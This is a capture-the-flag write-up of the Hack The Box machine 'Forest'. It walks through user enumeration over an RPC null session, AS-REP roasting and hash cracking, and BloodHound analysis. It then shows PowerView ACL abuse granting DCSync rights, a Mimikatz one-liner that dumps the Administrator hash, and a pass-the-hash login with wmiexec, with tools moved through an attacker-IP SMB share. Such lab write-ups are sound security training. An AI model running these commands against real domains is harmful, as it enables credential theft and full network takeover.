Forest
is an easy Windows box. By enumerating the SMB and RPC services, we obtained a list of available usernames. These usernames were then used to perform an AS-REP Roasting attack that resulted in us obtaining valid credentials for the domain. These credentials were then used to enumerate the AD using SharpHound/BloodHound. Afterwards, we made use of some AD relationships to perform a DCSync attack. In this way we obtained the Administrator NTLM hash, which allowed us to access the system as Administrator (using Pass-The-Hash).
Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
rustscan --ulimit 5000 forest.htb -- sV -sC -oN nmap_scan
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-04-25 07:40:20Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open msrpc syn-ack Microsoft Windows RPC
49680/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc syn-ack Microsoft Windows RPC
49685/tcp open msrpc syn-ack Microsoft Windows RPC
49701/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Here we clearly see that the target machine is a Domain Controller for the domain htb.lcoal
. Further, the OS of the DC is Windows Server 2016 Standard 6.3
.
SMB/RPC Enumeration
First, I started with the enumeration of the SMB service using smbmap
and smbclient
. However, as seen in the screenshot, all attempted accesses were denied.
Trying to enumerate the SMB shares. No success
Then, I proceeded with the enumeration of the RPC service (running on port 135) using rpcclient
. Here, I checked for the existence of a null session. A null session (aka anonymous or guest access) enables the access to a network resource, most commonly the IPC$ share without any authentication.
To check for the null session following command can be used:
1
└─$ rpcclient -U '' -N 10.129.95.210
And it worked! I got access to the RPC service. According to this article, we can use several commands to gain more information about the domain. Especially the commadn enumdomusers
resulted in very interesting findings, namely the domain usernames.
1
2
3
4
5
6
7
8
9
rpcclient $> enumdomusers
...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
...
Initial Foothold
AS-REP Roasting
Now that I had a list of available usernames, I was able to check whether any of these accounts had the Kerberos pre-authentication disabled.
“Kerberos Pre-Authentication is a security feature which offers protection against password-guessing attacks. The AS request identifies the client to the KDC in Plaintext. If Kerberos Pre-Authentication is enabled, a Timestamp will be encrypted using the user’s password hash as an encryption key. If the KDC reads a valid time when using the user’s password hash, which is available in the Microsoft Active Directory, to decrypt the Timestamp, the KDC knows that request isn’t a replay of a previous request.
Without Kerberos Pre-Authentication a malicious attacker can directly send a dummy request for authentication. The KDC will return an encrypted TGT and the attacker can brute force it offline. Upon checking the KDC logs, nothing will be seen except a single request for a TGT. When Kerberos timestamp Kerberos Pre-Authentication is enforced, the attacker cannot directly ask the KDCs for the encrypted material to Brute-Force offline.” Source: https://ldapwiki.com/wiki/Kerberos%20Pre-Authentication
If this was the case, I would get hold of an AS-REP packet for that user, which consists of the TGT and a session key and is encrypted with the users’s password hash. Obtaining such an AS-REP packet allows me to crack the user’s password offline with tools such as hashcat
or john
. But first, I had to check whether such an account actually exists. Therefore, I used Impacket’s GetNPUsers.py
. As seen in the following screenshot, there is indeed an account with these characteristics.
Successfully obtained the AS-REP packet for the user
svc-alfresco
as pre-authentication was disabled for this account.
Bruteforcing the Users Hash
Now that I had the user hash, it was time to use hashcat
to crack the password. Using the mode 18200
and the wordlist rockyou.txt
the password was quickly cracked! At this point, I had valid user credentials for the domain, namely svc-alfresco:s3rvice
Hashcat sucessfully cracks the password with the abovementioned settings.
To confirm whether these credentials are really valid, I did a quick SMB enumeration using smbclient
and the newly obtained credentials.
Another SMB Enumeration. This time with the found credentials for the user svc_alfresco.
This time, the SMB access worked!
As Port 5985 was open, it was possible to get initial shell access using Evil-WinRM, a tool to communicate with Microsoft’s Windows Remote Management service, in combination with the obtained credentials of the user svc-alfresco
.
Shell access to the system using Evil-WinRM and the credentials for the user svc_alfresco.
Privilege Escalation
First, I started with the enumeration of system. Since we have a Powershell shell, the first command I ran was Get-ComputerInfo -Property OS*
which basically returns all information about the installed OS on the system.
Output of the Get-ComputerInfo command. Gives us information about the system.
Here, we get detailed information on the installed OS, namely Windows Server 2016 Standard 6.3. Before I started looking at known vulnerabilities of this version, I wanted to know more about our current user. Therefore, I used the command whoami /all
to obtain information about the user’s Groups and Privileges.
Here we clearly see that the user svc_alfresco
is indeed part of some interesting groups called Privileged IT Accounts
and `Service Accounts.
Output of the
whoami /all
command. `.
At this point, I decided to get more information about those groups and the general structure of the present AD by using Sharphound
and Bloodhound
instead of looking for known privilege escalation vulnerabilities of the installed OS.
“BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. As of version 4.0, BloodHound now also supports Azure. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.” Source: https://bloodhound.readthedocs.io/en/latest/
“SharpHound is the official data collector for BloodHound. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.” Source: https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html?highlight=Sharphound
I uploaded the data collector SharpHound
(the pre-compiled binary SharpHound.exe
) to the target machine with the help of a local SMB server on my attacker machine which was started by using the following command (this created a share called temp
which points towards my /opt
directory - the directory which contains all my useful tools/programs/scripts):
1
sudo smbserver.py temp /opt
On the target machine, I was then able to copy the file from my local share to the attacker machine using this command (where 10.10.14.60 was my attacker IP):
1
*Evil-WinRM* PS C:\temp> copy \\10.10.14.60\temp\SharpHound.exe .
Finally, I ran the binary (.\SharpHound.exe
), which created a .zip
file containing the SharpHound output. Again, I used the share to transfer the file. This time the other way round - from the target machine to my attacker machine.
Once I had the .zip
file on my machine, I started neo4j
(the database for BloodHound) and BloodHound
. Next, I uploaded the zip file using the Upload Data
button. Then, I defined svc_alfresco
as my start node and administrator
as my target. BloodHound then presented me the following attack path:
Bloodhound output - Shortest path from the owned user svc_alfresco to the administrator.
Let’s break down the most important findings of BloodHound:
- The owned user
svc_alfresco
is member of the groupSERVICE ACCOUNTS@HTB.LOCAL
- The group
SERVICE ACCOUNTS@HTB.LOCAL
is member of the groupPRIVILEGED IT ACCOUNTS@HTB.LOCAL
- The group
PRIVILEGED IT ACCOUNTS@HTB.LOCAL
is member of the groupACCOUNT OPERATORS@HTB.LOCAL
- This means that our current user
svc-alfresco
is also part of the groupACCOUNT OPERATORS@HTB.LOCAL
, as we’ve already seen in thewhoami
output. - The members of the group
ACCOUNT OPERATORS@HTB.LOCAL
haveGenericAll
privileges to the groupEXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
. This is also known as full control. Full control of a group allows you to directly modify group membership of the group. - The members of the group
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL
have permissions to modify the DACL (Discretionary Access Control List) on the domain HTB.LOCAL. With write access to the target object’s DACL, you can grant yourself any privilege you want on the object.
So, at this point I had a way to basically grant myself any privilege I want. As I was rather inexperienced with Windows at this time, I first had to do some decent research. During my research I stumbled upon an article describing a way to replicate the DC and thus get access to the stored password hashes. This attack required the DCSync
privilege. Also I learned that BloodHound has a Help
window, which basically described step-by-step how to exploit the path. Here it also mentioned the DCSync
privileges: To abuse WriteDacl to a domain object, you may grant yourself DCSync privileges.
. Further, it provides PowerShell/PowerView commands to conduct the attack. So let’s follow these steps.
(Before that: transfer PowerView.ps1
to the target machine and run Import-Module .\PowerView.ps1
. Repeat this step with Invoke-Mimikatz.ps1
.)
1) You may need to authenticate to the Domain Controller as a member of EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
1
2
$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword)
2) Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:
1
Add-AdGroupMember -Credential $Cred -Identity "Exchange Windows Permissions" -Members svc-alfresco
1
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity svc-alfresco -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync
1) Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain
1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:administrator"'
For the ease of exeuction, the commands can be merged to a one-liner:
1
Import-Module .\PowerView.ps1; Import-Module .\Invoke-Mimikatz.ps1; $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword); Add-AdGroupMember -Credential $Cred -Identity "Exchange Windows Permissions" -Members svc-alfresco; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'htb\svc-alfresco' -TargetIdentity 'htb.local\Domain Admins' -Rights DCSync; Invoke-Mimikatz -Command '"lsadump::dcsync /user:administrator"'
Here, we get the NTLM Hash of the Administrator which is 32693b11e6aa90eb43d32c72a07ceea6
. We can use this hash to authenticate as Administrator using the tool wmiexec.py
:
1
wmiexec.py -hashes 0:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.129.95.210
And there we go. We are the administrator! Final step is to capture the root.txt flag.